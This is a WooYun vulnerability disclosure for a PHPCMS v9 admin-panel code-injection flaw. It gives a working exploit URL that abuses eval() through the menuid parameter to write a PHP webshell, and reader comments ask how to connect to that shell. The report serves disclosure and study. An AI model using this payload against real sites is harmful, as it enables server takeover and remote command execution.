当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-085518

漏洞标题:phpcms后台命令执行可getshell

相关厂商:phpcms

漏洞作者: JsStack

提交时间:2014-12-11 11:31

修复时间:2015-01-17 11:32

公开时间:2015-01-17 11:32

漏洞类型:命令执行

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-11: 细节已通知厂商并且等待厂商处理中
2014-12-16: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-02-09: 细节向核心白帽子及相关领域专家公开
2015-02-19: 细节向普通白帽子公开
2015-03-01: 细节向实习白帽子公开
2015-01-17: 细节向公众公开

简要描述:

v9最新版,后台管理,某处可执行任意代码,有过滤但可以绕过getshell

详细说明:

本地测试
登录后台,访问地址

http://127.0.0.1/index.php?m=content&c=content&a=public_sub_categorys&menuid=${file_put_contents($_GET[f],$_GET[p])}&f=a.php&p=<?php eval($_GET[c]); ?>


生成shell地址为:

http://127.0.0.1/a.php


分析代码:
/phpcms/libs/classes/tree.class.php 中方法creat_sub_json中的 line 259

eval("\$data[$n]['text'] = \"$str\";");


其中$str来自
/phpcms/modules/content/content.php
line977

if(!empty($categorys)) {
$tree->init($categorys);
switch($from) {
case 'block':
$strs = "<span class='\$icon_type'>\$add_icon<a href='?m=block&c=block_admin&a=public_visualization&menuid=".$_GET['menuid']."&catid=\$catid&type=list&pc_hash=".$_SESSION['pc_hash']."' target='right'>\$catname</a> \$vs_show</span>";
break;
default:
$strs = "<span class='\$icon_type'>\$add_icon<a href='?m=content&c=content&a=\$type&menuid=".$_GET['menuid']."&catid=\$catid&pc_hash=".$_SESSION['pc_hash']."' target='right' onclick='open_list(this)'>\$catname</a></span>";
break;
}
$data = $tree->creat_sub_json($catid,$strs);
}


可以看到$_GET['menuid']会被拼入字符串。 因此我们可以构造恶意攻击语句。
这里虽然会将单引号双引号及反斜杠(\)加反斜杠转义。但是不会未对$(){}[]转义,所以我们可以用类似这种方式进行攻击:

${file_put_contents($_GET[f],$_GET[p])}

漏洞证明:

登录后台,访问地址

http://127.0.0.1/index.php?m=content&c=content&a=public_sub_categorys&menuid=${file_put_contents($_GET[f],$_GET[p])}&f=a.php&p=<?php eval($_GET[c]); ?>


生成shell地址为:

http://127.0.0.1/a.php


修复方案:

版权声明:转载请注明来源 JsStack@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-01-17 11:32

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2015-07-14 00:42 | 0c0c0f ( 实习白帽子 | Rank:48 漏洞数:15 | My H34rt c4n 3xploit 4ny h0les!)

    怎么提示出错了啊Parse error: syntax error, unexpected '(' in D:\wamp\www\phpcms\phpcms_v9.5.9_UTF8\install_package\phpcms\libs\classes\tree.class.php(260) : eval()'d code on line 1

  2. 2015-08-21 11:01 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)

    这个一句话 怎么连接